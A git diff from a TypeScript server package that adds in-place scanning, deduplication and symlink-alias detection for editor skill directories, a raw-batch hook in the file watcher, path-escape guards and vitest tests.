+ // Guard 1: slug grammar (rejects `..`, slashes, dots, uppercase, empty, >64).
+ if (!SKILL_NAME_REGEX.test(name) || name.length > 64) {
+ throw new Error(`externalSkillAbsPath: invalid skill name ${JSON.stringify(name)}`);
+ }
+ let abs: string;
+ if (rel === null) {
+ abs = resolve(dir, 'SKILL.md');
+ } else {
+ const segs = rel.split('/').filter((s) => s !== '' && s !== '.');
+ if (segs.length === 0 || segs.some((s) => s === '..')) {
+ throw new Error(`externalSkillAbsPath: invalid bundle path ${JSON.stringify(rel)}`);
+ }
+ abs = resolve(dir, ...segs);
+ }
+ // Guard 2: containment on the resolved path (defense-in-depth; `SKILL.md` and
+ // every bundle file resolve under `dir + sep`). Fires only if guard 1 is ever
+ // weakened. Mirrors `managedArtifactAbsPath` guard 2.
+ if (!abs.startsWith(dir + sep)) {
+ throw new Error(`externalSkillAbsPath: path escape for ${JSON.stringify(name)}`);
+ }
+ return abs;
+}
diff --git a/packages/server/src/file-watcher.ts b/packages/server/src/file-watcher.ts
index cdb1b1309..2b2c3bf4d 100644
--- a/packages/server/src/file-watcher.ts
+++ b/packages/server/src/file-watcher.ts
@@ -14,7 +14,15 @@
*/
import { createHash } from 'node:crypto';
-import { type Dirent, lstatSync, readdirSync, realpathSync, type Stats, statSync } from 'node:fs';
+import {
+ type Dirent,
+ existsSync,
+ lstatSync,
+ readdirSync,
+ realpathSync,
+ type Stats,
+ statSync,
+} from 'node:fs';
import { lstat, readdir, readFile, realpath, stat } from 'node:fs/promises';
import { dirname, extname, join, relative } from 'node:path';
import { LINKABLE_ASSET_EXTENSIONS } from '@inkeep/open-knowledge-core';
@@ -1721,6 +1729,7 @@ async function startParcelWatcher(
onDiskEvent: (event: DiskEvent) => Promise<void>,
aliasMap: Map<string, string>,
onAfterMutation: () => void,
+ onRawBatch?: (absPaths: readonly string[]) => void,
): Promise<AsyncSubscription | null> {
let parcel: typeof import('@parcel/watcher');
try {
@@ -1750,6 +1759,10 @@ async function startParcelWatcher(
return;
}
try {
+ // Raw (pre-admission) batch hook — the live in-place-skill re-scan
+ // trigger reads paths admission drops (a NEW skill dir is excluded
+ // until re-scanned).
+ onRawBatch?.(events.map((e) => e.path));
await handleRawEvents(
events.map((e) => ({ type: e.type, path: e.path })),
contentDir,
@@ -1812,7 +1825,24 @@ export function isChokidarPathIgnored(
return false;
}
}
- return isDirectory ? contentFilter.isDirExcluded(rel) : contentFilter.isExcluded(rel);
+ if (isDirectory) {
+ // Never prune dirs that ARE or LEAD TO a skills root — an excluded-yet-
+ // watched skills tree is how the live re-scan hears about a host dir's
+ // FIRST skill on this backend (the raw pre-admission batch fires off the
+ // bundle-dir event; admission flips via the rebuild). Shape-matched like
+ // the scan (any `.x/skills`), so custom roots need no ledger read; bounded
+ // to root + one bundle level so the extra watch surface stays tiny. `.ok`
+ // stays fully pruned (retiring store; internal state).
+ const m = /^(\.[A-Za-z0-9_-]+)(\/skills(\/[^/]+)?)?$/.exec(rel);
+ if (m && m[1] !== '.ok') {
+ if (m[2] !== undefined) return false; // `.x/skills` (+ bundle dir)
+ // Bare `.x`: watch only when it actually carries a skills dir — keeps
+ // `.git` and friends pruned.
+ if (existsSync(join(contentDir, rel, 'skills'))) return false;
+ }
+ return contentFilter.isDirExcluded(rel);
+ }
+ return contentFilter.isExcluded(rel);
}
/**
@@ -1830,6 +1860,11 @@ async function startChokidarWatcher(
onDiskEvent: (event: DiskEvent) => Promise<void>,
aliasMap: Map<string, string>,
onAfterMutation: () => void,
+ // NOTE: chokidar prunes excluded dirs at the ignored() predicate, so a
+ // host dir with no admitted skill yet emits no events — the live re-scan
+ // trigger is parcel-first; on the chokidar fallback a brand-new first
+ // skill in a host dir still needs a restart (or an ignore-file touch).
+ onRawBatch?: (absPaths: readonly string[]) => void,
): Promise<AsyncSubscription> {
const { watch } = await import('chokidar');
// The chosen backend is already recorded on the `watching … backend:
@@ -1864,6 +1899,7 @@ async function startChokidarWatcher(
const batch = pendingEvents;
pendingEvents = [];
batchTimer = null;
+ onRawBatch?.(batch.map((e) => e.path));
handleRawEvents(
batch,
contentDir,
@@ -1933,8 +1969,15 @@ export async function startWatcher(
contentDirRaw: string,
onDiskEvent: (event: DiskEvent) => Promise<void>,
contentFilter?: ContentFilter,
- opts: { forceBackend?: 'parcel' | 'chokidar' } = {},
+ opts: {
+ forceBackend?: 'parcel' | 'chokidar';
+ /** Raw PRE-admission event-batch hook (absolute paths) — fires before
+ * `handleRawEvents` filters, so callers can react to paths admission
+ * drops (the live in-place-skill re-scan trigger). */
+ onRawBatch?: (absPaths: readonly string[]) => void;
+ } = {},
): Promise<WatcherHandle> {
+ const { onRawBatch } = opts;
let contentDir: string;
try {
contentDir = realpathSync(contentDirRaw);
@@ -1979,13 +2022,18 @@ export async function startWatcher(
let subscription: AsyncSubscription;
let backend: WatcherBackend;
+ // Packaged-parity escape hatch: the packaged app always runs the chokidar
+ // fallback (no bundled @parcel/watcher), so tests + local debugging can
+ // force that backend to exercise the same code path.
+ const forceChokidar = process.env.OK_FILE_WATCHER_BACKEND === 'chokidar';
try {
// `forceBackend` is a test seam (mirrors head-watcher): 'chokidar' skips
// the parcel attempt so the fallback can be exercised on a host where the
// native module IS resolvable; 'parcel' throws instead of degrading so a
- // test can't silently pass on the wrong backend.
+ // test can't silently pass on the wrong backend. The `OK_FILE_WATCHER_BACKEND`
+ // env var (packaged-parity escape hatch) forces chokidar the same way.
const parcelSub =
- opts.forceBackend === 'chokidar'
+ forceChokidar || opts.forceBackend === 'chokidar'
? null
: await startParcelWatcher(
contentDir,
@@ -1995,6 +2043,7 @@ export async function startWatcher(
onDiskEvent,
aliasMap,
bumpFileIndexGeneration,
+ onRawBatch,
);
if (parcelSub) {
subscription = parcelSub;
@@ -2011,6 +2060,7 @@ export async function startWatcher(
onDiskEvent,
aliasMap,
bumpFileIndexGeneration,
+ onRawBatch,
);
backend = 'chokidar';
}
diff --git a/packages/server/src/in-place-skills.test.ts b/packages/server/src/in-place-skills.test.ts
new file mode 100644
index 000000000..9c1876fe6
--- /dev/null
+++ b/packages/server/src/in-place-skills.test.ts
@@ -0,0 +1,352 @@
+import { mkdirSync, mkdtempSync, rmSync, symlinkSync, writeFileSync } from 'node:fs';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { afterEach, beforeEach, describe, expect, test } from 'vitest';
+import { createContentFilter } from './content-filter.ts';
+import {
+ resolveGlobalNativeSkillDir,
+ scanGlobalInPlaceSkills,
+ scanHostRootAliases,
+ scanInPlaceSkillDirs,
+ scanInPlaceSkills,
+} from './in-place-skills.ts';
+
+function writeSkill(root: string, rel: string, body: string): void {
+ const dir = join(root, rel);
+ mkdirSync(dir, { recursive: true });
+ writeFileSync(
+ join(dir, 'SKILL.md'),
+ `---\nname: ${rel.split('/').pop()}\ndescription: d\n---\n\n${body}\n`,
+ );
+}
+
+describe('scanInPlaceSkillDirs', () => {
+ let contentDir: string;
+ beforeEach(() => {
+ contentDir = mkdtempSync(join(tmpdir(), 'ok-inplace-'));
+ });
+ afterEach(() => {
+ rmSync(contentDir, { recursive: true, force: true });
+ });
+
+ test('admits a skill living in an editor dir; ignores non-skill entries', () => {
+ writeSkill(contentDir, '.claude/skills/foo', '# Foo');
+ mkdirSync(join(contentDir, '.claude/plugins/p'), { recursive: true }); // not a skill
+ writeFileSync(join(contentDir, '.claude/skills/loose.txt'), 'x'); // file, not a bundle dir
+
+ const dirs = scanInPlaceSkillDirs(contentDir);
+ expect([...dirs]).toEqual(['.claude/skills/foo']);
+
+ // The set drives content-filter admission end to end.
+ const filter = createContentFilter({
+ projectDir: contentDir,
+ contentDir,
+ inPlaceSkillDirs: dirs,
+ });
+ expect(filter.isExcluded('.claude/skills/foo/SKILL.md')).toBe(false);
+ expect(filter.isExcluded('.claude/plugins/p/x.md')).toBe(true);
+ });
+
+ test('same skill in two editors (identical bytes) dedups to the precedence winner', () => {
+ writeSkill(contentDir, '.claude/skills/foo', '# Same');
+ writeSkill(contentDir, '.codex/skills/foo', '# Same');
+ const dirs = scanInPlaceSkillDirs(contentDir);
+ // claude wins precedence; codex copy excluded.
+ expect([...dirs]).toEqual(['.claude/skills/foo']);
+ });
+
+ test('same name, DIFFERENT bytes: BOTH admitted as content', () => {
+ writeSkill(contentDir, '.claude/skills/foo', '# Claude version');
+ writeSkill(contentDir, '.codex/skills/foo', '# Codex version DIFFERENT');
+ const dirs = scanInPlaceSkillDirs(contentDir);
+ expect([...dirs].sort()).toEqual(['.claude/skills/foo', '.codex/skills/foo']);
+
+ // Both are real, editable content — neither is hidden behind the other.
+ const filter = createContentFilter({
+ projectDir: contentDir,
+ contentDir,
+ inPlaceSkillDirs: dirs,
+ });
+ expect(filter.isExcluded('.claude/skills/foo/SKILL.md')).toBe(false);
+ expect(filter.isExcluded('.codex/skills/foo/SKILL.md')).toBe(false);
+ });
+
+ test('empty content dir yields an empty admit-set', () => {
+ expect([...scanInPlaceSkillDirs(contentDir)]).toEqual([]);
+ });
+});
+
+describe('scanInPlaceSkills (list projection)', () => {
+ let contentDir: string;
+ beforeEach(() => {
+ contentDir = mkdtempSync(join(tmpdir(), 'ok-inplace-'));
+ });
+ afterEach(() => {
+ rmSync(contentDir, { recursive: true, force: true });
+ });
+
+ test('one entry per canonical with real dir, description, and all same-hash hosts', () => {
+ writeSkill(contentDir, '.claude/skills/foo', '# Same');
+ writeSkill(contentDir, '.codex/skills/foo', '# Same');
+ writeSkill(contentDir, '.cursor/skills/bar', '# Bar');
+
+ const skills = scanInPlaceSkills(contentDir);
+ expect(skills.map((s) => s.name).sort()).toEqual(['bar', 'foo']);
+ const foo = skills.find((s) => s.name === 'foo');
+ expect(foo?.dir).toBe('.claude/skills/foo');
+ expect(foo?.hosts).toEqual(['claude', 'codex']);
+ expect(foo?.description).toBe('d');
+ expect(foo?.contentHash).toMatch(/^[0-9a-f]{64}$/);
+ const bar = skills.find((s) => s.name === 'bar');
+ expect(bar?.dir).toBe('.cursor/skills/bar');
+ expect(bar?.hosts).toEqual(['cursor']);
+ });
+
+ test('same name, different bytes: two rows that point at each other', () => {
+ writeSkill(contentDir, '.claude/skills/foo', '# A');
+ writeSkill(contentDir, '.codex/skills/foo', '# B different');
+ const skills = scanInPlaceSkills(contentDir);
+ expect(skills).toHaveLength(2);
+
+ const fromClaude = skills.find((s) => s.dir === '.claude/skills/foo');
+ const fromCodex = skills.find((s) => s.dir === '.codex/skills/foo');
+ // Each row owns only its own physical occurrence...
+ expect(fromClaude?.hosts).toEqual(['claude']);
+ expect(fromCodex?.hosts).toEqual(['codex']);
+ // ...and names the other's slot as occupied by someone else. Symmetric:
+ // neither side is the "loser" whose folder the other one hides.
+ expect(fromClaude?.conflictHosts).toEqual(['codex']);
+ expect(fromCodex?.conflictHosts).toEqual(['claude']);
+ });
+
+ test('the by-name default sorts first among same-name rows', () => {
+ // Every by-name caller resolves with `.find(s => s.name === n)`, so the row
+ // a host-less lookup should land on has to come first or those callers
+ // silently resolve in content-hash order.
+ writeSkill(contentDir, '.codex/skills/foo', '# zzz sorts late by hash');
+ writeSkill(contentDir, '.claude/skills/foo', '# aaa');
+ const skills = scanInPlaceSkills(contentDir);
+ expect(skills.find((s) => s.name === 'foo')?.dir).toBe('.claude/skills/foo');
+ });
+
+ test("OK's own bundles collapse to one row even when a projection drifted", () => {
+ // A divergence is the user's only when they hand-edited a copy. Built-ins
+ // are read-only and OK ships their bytes, so a drifted projection (a stale
+ // pre-split copy, say) is an artifact to ignore, not a second skill.
+ writeSkill(contentDir, '.claude/skills/open-knowledge', '# current');
+ writeSkill(contentDir, '.agents/skills/open-knowledge', '# stale pre-split copy');
+ // An authored skill in the same tree still gets its two rows.
+ writeSkill(contentDir, '.claude/skills/mine', '# A');
+ writeSkill(contentDir, '.agents/skills/mine', '# B different');
+
+ const skills = scanInPlaceSkills(contentDir);
+ expect(skills.filter((s) => s.name === 'open-knowledge')).toHaveLength(1);
+ expect(skills.filter((s) => s.name === 'mine')).toHaveLength(2);
+ // The one built-in row is the by-name default, not whichever hash sorted first.
+ expect(skills.find((s) => s.name === 'open-knowledge')?.dir).toBe(
+ '.agents/skills/open-knowledge',
+ );
+ });
+
+ test('three distinct contents under one name yield three rows', () => {
+ writeSkill(contentDir, '.claude/skills/foo', '# A');
+ writeSkill(contentDir, '.codex/skills/foo', '# B different');
+ writeSkill(contentDir, '.cursor/skills/foo', '# C different again');
+ const skills = scanInPlaceSkills(contentDir);
+ expect(skills).toHaveLength(3);
+ // N-way falls out of the model: every row lists the other two.
+ for (const s of skills) {
+ expect(s.hosts).toHaveLength(1);
+ expect([...s.conflictHosts].sort()).toEqual(
+ ['claude', 'codex', 'cursor'].filter((h) => h !== s.hosts[0]),
+ );
+ }
+ });
+
+ test('a same-named sibling still dedups its OWN copies', () => {
+ writeSkill(contentDir, '.claude/skills/foo', '# A');
+ writeSkill(contentDir, '.cursor/skills/foo', '# A'); // copy of the claude one
+ writeSkill(contentDir, '.codex/skills/foo', '# B different');
+ const skills = scanInPlaceSkills(contentDir);
+ expect(skills).toHaveLength(2);
+ const a = skills.find((s) => s.dir === '.claude/skills/foo');
+ expect(a?.hosts).toEqual(['claude', 'cursor']); // one skill, two locations
+ expect(a?.conflictHosts).toEqual(['codex']);
+ });
+
+ test('.agents/skills is a first-class host and wins precedence among same-hash copies (R14)', () => {
+ writeSkill(contentDir, '.agents/skills/foo', '# Same');
+ writeSkill(contentDir, '.claude/skills/foo', '# Same');
+ writeSkill(contentDir, '.agents/skills/solo', '# Only in agents');
+
+ const skills = scanInPlaceSkills(contentDir);
+ const foo = skills.find((s) => s.name === 'foo');
+ expect(foo?.dir).toBe('.agents/skills/foo');
+ expect(foo?.hosts).toEqual(['agents', 'claude']);
+ const solo = skills.find((s) => s.name === 'solo');
+ expect(solo?.dir).toBe('.agents/skills/solo');
+ // Observable facts only: no vendor-capability hosts (table deleted).
+ expect(solo?.hosts).toEqual(['agents']);
+ });
+});
+
+describe('global tier (R12): scanGlobalInPlaceSkills + resolveGlobalNativeSkillDir', () => {
+ let home: string;
+ beforeEach(() => {
+ home = mkdtempSync(join(tmpdir(), 'ok-inplace-home-'));
+ });
+ afterEach(() => {
+ rmSync(home, { recursive: true, force: true });
+ });
+
+ test('scans user editor dirs (incl. the non-standard pi layout + ~/.agents hub)', () => {
+ writeSkill(home, '.claude/skills/foo', '# Same');
+ writeSkill(home, '.codex/skills/foo', '# Same'); // copy → deduped
+ writeSkill(home, '.pi/agent/skills/nested', '# Pi layout');
+ writeSkill(home, '.agents/skills/hub', '# Hub');
+
+ const skills = scanGlobalInPlaceSkills(home);
+ expect(skills.map((s) => s.name).sort()).toEqual(['foo', 'hub', 'nested']);
+ const foo = skills.find((s) => s.name === 'foo');
+ expect(foo?.dir).toBe('.claude/skills/foo');
+ expect(foo?.hosts).toEqual(['claude', 'codex']);
+ expect(skills.every((s) => s.contentHash.length === 64)).toBe(true);
+ });
+
+ test('probe resolves the precedence-winning native dir; null when absent', () => {
+ writeSkill(home, '.codex/skills/foo', '# A');
+ writeSkill(home, '.claude/skills/foo', '# A');
+ // claude beats codex; agents beats both.
+ expect(resolveGlobalNativeSkillDir(home, 'foo')).toBe(join(home, '.claude/skills/foo'));
+ writeSkill(home, '.agents/skills/foo', '# A');
+ expect(resolveGlobalNativeSkillDir(home, 'foo')).toBe(join(home, '.agents/skills/foo'));
+ expect(resolveGlobalNativeSkillDir(home, 'missing')).toBeNull();
+ });
+});
+
+describe('symlinked occurrences (D7 disclosure)', () => {
+ let contentDir: string;
+ beforeEach(() => {
+ contentDir = mkdtempSync(join(tmpdir(), 'ok-inplace-link-'));
+ });
+ afterEach(() => {
+ rmSync(contentDir, { recursive: true, force: true });
+ });
+
+ test('a DIR-LEVEL root symlink (sync-tool style) discloses as VIA, not a copy', () => {
+ writeSkill(contentDir, '.agents/skills/foo', '# Same');
+ // The WHOLE .codex/skills root is a symlink to .agents/skills — the leaf
+ // path reads as a real dir but is the same inode as the source.
+ mkdirSync(join(contentDir, '.codex'), { recursive: true });
+ symlinkSync(join(contentDir, '.agents/skills'), join(contentDir, '.codex/skills'), 'dir');
+
+ const skills = scanInPlaceSkills(contentDir);
+ const foo = skills.find((s) => s.name === 'foo');
+ expect(foo?.dir).toBe('.agents/skills/foo');
+ expect(foo?.hosts).not.toContain('codex'); // an alias (via scanHostRootAliases), not a host
+ expect(foo?.copyDirs).toEqual([]); // NOT a copy — same physical folder
+ });
+
+ test('a user symlink counts as a host AND is reported in linkedHosts', () => {
+ writeSkill(contentDir, '.agents/skills/foo', '# Same');
+ mkdirSync(join(contentDir, '.codex/skills'), { recursive: true });
+ symlinkSync(
+ join(contentDir, '.agents/skills/foo'),
+ join(contentDir, '.codex/skills/foo'),
+ 'dir',
+ );
+
+ const skills = scanInPlaceSkills(contentDir);
+ const foo = skills.find((s) => s.name === 'foo');
+ expect(foo?.dir).toBe('.agents/skills/foo');
+ expect(foo?.hosts).toEqual(['agents', 'codex']);
+ expect(foo?.linkedHosts).toEqual(['codex']);
+ // The symlink itself is never a canonical admission target.
+ expect([...scanInPlaceSkillDirs(contentDir)]).toEqual(['.agents/skills/foo']);
+ });
+});
+
+describe('scanHostRootAliases (folder-level aliases, observable facts only)', () => {
+ let contentDir: string;
+ beforeEach(() => {
+ contentDir = mkdtempSync(join(tmpdir(), 'ok-root-alias-'));
+ });
+ afterEach(() => {
+ rmSync(contentDir, { recursive: true, force: true });
+ });
+
+ test('a skills root symlinked to another root maps host -> target rel', () => {
+ mkdirSync(join(contentDir, '.agents/skills'), { recursive: true });
+ mkdirSync(join(contentDir, '.codex'), { recursive: true });
+ symlinkSync(join(contentDir, '.agents/skills'), join(contentDir, '.codex/skills'), 'dir');
+ expect(scanHostRootAliases(contentDir, 'project')).toEqual({ codex: '.agents/skills' });
+ });
+
+ test('real, absent, and outside-base roots are not aliases', () => {
+ mkdirSync(join(contentDir, '.claude/skills'), { recursive: true }); // real
+ const outside = mkdtempSync(join(tmpdir(), 'ok-outside-'));
+ mkdirSync(join(contentDir, '.cursor'), { recursive: true });
+ symlinkSync(outside, join(contentDir, '.cursor/skills'), 'dir'); // escapes base
+ try {
+ expect(scanHostRootAliases(contentDir, 'project')).toEqual({});
+ } finally {
+ rmSync(outside, { recursive: true, force: true });
+ }
+ });
+
+ test('a sticky source pref can NEVER elect an alias-rooted occurrence', () => {
+ // The 2026-07-23 orphan-source bug: `sources: {foo: codex}` while
+ // .codex/skills is a symlink to .agents/skills elected the ALIAS path as
+ // canonical — rendering an orphan folder row for a location that is a view.
+ writeSkill(contentDir, '.agents/skills/foo', '# Same');
+ mkdirSync(join(contentDir, '.codex'), { recursive: true });
+ symlinkSync(join(contentDir, '.agents/skills'), join(contentDir, '.codex/skills'), 'dir');
+ mkdirSync(join(contentDir, '.ok/local'), { recursive: true });
+ writeFileSync(
+ join(contentDir, '.ok/local/skill-placements.json'),
+ JSON.stringify({ skills: {}, sources: { foo: 'codex' } }),
+ );
+ const skills = scanInPlaceSkills(contentDir);
+ const foo = skills.find((s) => s.name === 'foo');
+ expect(foo?.dir).toBe('.agents/skills/foo');
+ expect(foo?.hosts).toEqual(['agents']);
+ });
+
+ test('a PARENT-dir symlink (whole .codex -> .agents) is detected too', () => {
+ mkdirSync(join(contentDir, '.agents/skills'), { recursive: true });
+ symlinkSync(join(contentDir, '.agents'), join(contentDir, '.codex'), 'dir');
+ expect(scanHostRootAliases(contentDir, 'project')).toEqual({ codex: '.agents/skills' });
+ });
+
+ test('a CUSTOM root symlinked into another root is an alias too (keyed by its path)', () => {
+ // `.tim/skills → .ok/skills`: the ledger-known custom root is a view of
+ // the target — alias-mapped (no row, audience icon rides the target) and
+ // its occurrences never win election.
+ writeSkill(contentDir, '.ok/skills/foo', '# Same');
+ mkdirSync(join(contentDir, '.tim'), { recursive: true });
+ symlinkSync(join(contentDir, '.ok/skills'), join(contentDir, '.tim/skills'), 'dir');
+ mkdirSync(join(contentDir, '.ok/local'), { recursive: true });
+ writeFileSync(
+ join(contentDir, '.ok/local/skill-placements.json'),
+ JSON.stringify({
+ // Both roots ledger-known, as promotion records them in reality.
+ skills: {
+ foo: [
+ { path: '.ok/skills/foo', mode: 'copy' },
+ { path: '.tim/skills/foo', mode: 'copy' },
+ ],
+ },
+ sources: {},
+ }),
+ );
+ expect(scanHostRootAliases(contentDir, 'project')).toEqual({
+ '.tim/skills': '.ok/skills',
+ });
+ // Election: the custom-root source stays canonical; the alias path never
+ // surfaces as an independent host.
+ const skills = scanInPlaceSkills(contentDir);
+ const foo = skills.find((s) => s.name === 'foo');
+ expect(foo?.dir).toBe('.ok/skills/foo');
+ expect(foo?.hosts).not.toContain('.tim/skills');
+ });
+});
diff --git a/packages/server/src/in-place-skills.ts b/packages/server/src/in-place-skills.ts
new file mode 100644
index 000000000..5845fd0e4
--- /dev/null
+++ b/packages/server/src/in-place-skills.ts
@@ -0,0 +1,456 @@
+/**
+ * In-place skill registry pre-pass (spec: in-place skill versioning).
+ *
+ * Scan a base dir's editor host skill dirs for bundles, content-hash each
+ * (reusing `parseSkillDir`), and dedup via `buildSkillRegistry` — one entry per
+ * distinct-CONTENT identity, same-content copies excluded. Two same-named
+ * bundles holding different bytes are two skills and both are listed; the name
+ * alone was never the identity. Two tiers share the machinery:
+ *
+ * - PROJECT (`scanInPlaceSkills(contentDir)`): the canonical dirs become the
+ * `ContentFilter.inPlaceSkillDirs` allow-list (versioned content; boot +
+ * live re-scan on host-dir change).
+ * - GLOBAL (`scanGlobalInPlaceSkills(home)`): user-home editor dirs
+ * (`~/.claude/skills`, `~/.agents/skills`, …). Global skills are NOT
+ * content (no per-user content root); the scan feeds the skills list, and
+ * `resolveGlobalNativeSkillDir` resolves `__skill__/global/<name>` docs to
+ * the native dir when the `~/.ok/skills` store has no entry.
+ */
+
+import { existsSync, lstatSync, readdirSync, realpathSync, statSync } from 'node:fs';
+import { join } from 'node:path';
+import {
+ EDITOR_PROJECT_SKILL_ROOT,
+ EDITOR_USER_SKILL_ROOT,
+ type EditorId,
+ type SkillScope,
+} from '@inkeep/open-knowledge-core';
+import {
+ buildSkillRegistry,
+ groupSkillsByIdentity,
+ type LocatedSkillOccurrence,
+ parseSkillDir,
+ SKILL_CANONICAL_PRECEDENCE,
+ type SkillHostId,
+} from '@inkeep/open-knowledge-core/skills-catalog';
+import { isInternalBundleSkillName } from './skill-bundles.ts';
+import {
+ readKnownSkillPlacementRoots as readPlacementRoots,
+ readSkillSourceHostPreferences as readSourceHostPrefs,
+} from './skill-placements-store.ts';
+
+function hostRoots(
+ map: Record<EditorId, string | null>,
+ agentsRoot: string,
+): ReadonlyArray<{ editor: SkillHostId; root: string }> {
+ return [
+ ...(Object.entries(map) as [EditorId, string | null][])
+ .filter((e): e is [EditorId, string] => e[1] !== null)
+ .map(([editor, root]) => ({ editor: editor as SkillHostId, root })),
+ { editor: 'agents' as SkillHostId, root: agentsRoot },
+ ];
+}
+
+/** host → project-relative skills root: every editor primary (non-null) plus
+ * the vendor-neutral `.agents/skills` hub (first-class in-place host). */
+const EDITOR_SKILL_ROOTS = hostRoots(EDITOR_PROJECT_SKILL_ROOT, '.agents/skills');
+
+/** host → home-relative skills root for USER scope (editors + the `~/.agents` hub). */
+const USER_SKILL_ROOTS = hostRoots(EDITOR_USER_SKILL_ROOT, '.agents/skills');
+
+/** One in-place skill the registry canonicalized — the list-surface projection. */
+export interface InPlaceSkill {
+ /** Bundle dir basename — the projection identity (install copies keep it). */
+ readonly name: string;
+ /** SKILL.md frontmatter description ('' when absent/malformed). */
+ readonly description: string;
+ /** contentDir-relative CANONICAL bundle dir, e.g. `.claude/skills/foo`. */
+ readonly dir: string;
+ /** Editors holding same-hash occurrences of this skill (canonical first). */
+ readonly hosts: readonly string[];
+ /** Hosts whose occurrence is a SYMLINK (user-authored links are preserved,
+ * and disclosed as links, not silently presented as copies). */
+ readonly linkedHosts: readonly string[];
+ /** Hosts whose dir holds a DIFFERENT same-name skill — that path is occupied
+ * and is NOT this skill. Those bundles are rows in their own right (they
+ * appear in this same list); this field is the cross-pointer that lets a row
+ * disclose the shared name and keeps the install menu from offering a slot
+ * another skill already owns. Symmetric: each side lists the other. */
+ readonly conflictHosts: readonly string[];
+ /** Base-relative dirs of the NON-symlink same-hash copies — the observed
+ * copy relationships the forward re-sync records (a symlink is live and
+ * needs no re-sync). */
+ readonly copyDirs: readonly string[];
+ /** `parseSkillDir` bundle hash of the canonical — the dedup/Modified identity. */
+ readonly contentHash: string;
+}
+
+interface ScanOccurrence extends LocatedSkillOccurrence {
+ readonly description: string;
+ readonly viaLink: boolean;
+ /** The occurrence lives under an ALIASED root (the folder or a parent is a
+ * symlink) — a VIEW of another location. Never electable as canonical
+ * (folded into `viaLink` for the election sort), never a real copy. */
+ readonly aliasRooted?: boolean;
+}
+
+/**
+ * Host skills roots that are ALIASES of another location — the folder itself
+ * (or a parent, e.g. `.codex`) is a symlink resolving to a different dir under
+ * `base`. host id → base-relative target root. The locations-menu design keys
+ * off this: an aliased folder is a derived view of the target — no menu row,
+ * never a write target; its agent icon rides the target root's row. Observable
+ * disk facts only (the vendor-capability table is deleted). Roots resolving
+ * OUTSIDE `base` are skipped (no in-base row can represent them).
+ */
+export function scanHostRootAliases(base: string, scope: SkillScope): Record<string, string> {
+ // ALL known roots, not just the standard host set: a CUSTOM root that is a
+ // folder-symlink into another root (`.tim/skills → .ok/skills`) is an alias
+ // exactly like an editor folder — no row of its own, its icon rides the
+ // target root's audience, and its occurrences never win election.
+ const roots = knownSkillRootsFor(base, scope);
+ const out: Record<string, string> = {};
+ let baseReal: string;
+ try {
+ baseReal = realpathSync(base);
+ } catch {
+ return out;
+ }
+ for (const { editor, root } of roots) {
+ let real: string;
+ try {
+ real = realpathSync(join(base, root));
+ } catch {
+ continue; // absent — a real (creatable) location, not an alias
+ }
+ if (real === join(baseReal, root)) continue;
+ if (!real.startsWith(`${baseReal}/`)) continue;
+ out[editor] = real.slice(baseReal.length + 1);
+ }
+ return out;
+}
+
+/** Per-host skills roots for a scope (editor primaries + the `.agents` hub) —
+ * the row source for folder-level surfaces (Settings → Skills folders). */
+function hostSkillRootsFor(
+ scope: SkillScope,
+): ReadonlyArray<{ editor: SkillHostId; root: string }> {
+ return scope === 'project' ? EDITOR_SKILL_ROOTS : USER_SKILL_ROOTS;
+}
+
+/** ABSOLUTE global skill roots for graph/backlink ingestion: the legacy
+ * `~/.ok/skills` store (until its last resident migrates) plus every native
+ * user skill root — global skills live IN-PLACE now (store retirement), and
+ * their `__skill__/global/<name>` graph nodes are name-keyed, so multiple
+ * roots dedupe naturally. */
+export function globalSkillGraphRoots(home: string): string[] {
+ // Every known global skill root — the editor dirs, the `.agents` hub, AND the
+ // ledger-recorded custom roots. `.ok/skills` used to be prepended by hand as
+ // the one non-standard root wired into the global plumbing; it now arrives
+ // through the ordinary custom-root path like `.tim/skills`, so a global skill
+ // at any custom root is watched and graph-ingested rather than only that one.
+ const roots = knownSkillRootsFor(home, 'global').map((r) => join(home, r.root));
+ const legacyStore = join(home, '.ok', 'skills');
+ // The retired store may still hold residents that have not drained (a name
+ // that collides at its migration target never moves), and it is not in the
+ // known-roots list unless something recorded a placement there.
+ return roots.includes(legacyStore) ? roots : [...roots, legacyStore];
+}
+
+/**
+ * ALL known skill roots for a base: the standard host roots PLUS the
+ * ledger-known custom roots (`.ok/skills`, `.tim/skills`, …) — host id = the
+ * root path for customs, exactly like the scan's synthetic occurrence hosts.
+ * The Folders surface + folder verbs consume this so custom roots are
+ * first-class rows and link targets (no root is privileged).
+ */
+export function knownSkillRootsFor(
+ base: string,
+ scope: SkillScope,
+): ReadonlyArray<{ editor: string; root: string }> {
+ const std = hostSkillRootsFor(scope);
+ const seen = new Set(std.map((r) => r.root));
+ return [
+ ...std,
+ ...readPlacementRoots(base)
+ .filter((r) => !seen.has(r))
+ .map((r) => ({ editor: r, root: r })),
+ ];
+}
+
+/** The standard host skills roots for a scope (editor primaries + the
+ * `.agents/skills` hub). Ledger records under these are editor-row form
+ * RECEIPTS (leave-behind links, drift expectations), NOT custom placements —
+ * list emission must not present them as custom locations. */
+export function standardSkillRoots(scope: SkillScope): ReadonlySet<string> {
+ const roots = scope === 'project' ? EDITOR_SKILL_ROOTS : USER_SKILL_ROOTS;
+ return new Set(roots.map((r) => r.root));
+}
+
+/**
+ * The SOURCE roots of the aliases `scanHostRootAliases` found — the paths that
+ * are themselves symlinked folders (e.g. `.codex/skills` when it links to
+ * `.agents/skills`). Placement records under these paths are receipts written
+ * before the folder became an alias: the bytes physically live in the target
+ * root, so listing them as custom placements would resurrect the aliased
+ * folder as a fake location row (and invite writes through the alias).
+ */
+export function aliasedSourceRoots(
+ aliases: Record<string, string>,
+ scope: SkillScope,
+): Set<string> {
+ const roots = scope === 'project' ? EDITOR_SKILL_ROOTS : USER_SKILL_ROOTS;
+ const byHost = new Map(roots.map((r) => [r.editor as string, r.root]));
+ const out = new Set<string>();
+ for (const host of Object.keys(aliases)) {
+ const root = byHost.get(host);
+ if (root !== undefined) out.add(root);
+ // Custom-root aliases: the host id IS the root path.
+ else if (host.includes('/')) out.add(host);
+ }
+ return out;
+}
+
+/**
+ * The DEFAULT home for a NEW skill bundle at `base` — existence-activated:
+ * `.agents/skills` only when the project already adopted the hub (OK never
+ * creates `.agents` on its own — that's the team's call, not ours), else the
+ * highest-precedence editor root that already exists, else `.claude/skills`.
+ */
+export function resolveDefaultSkillHomeRel(base: string, scope: SkillScope): string {
+ const roots = scope === 'project' ? EDITOR_SKILL_ROOTS : USER_SKILL_ROOTS;
+ if (existsSync(join(base, '.agents'))) return '.agents/skills';
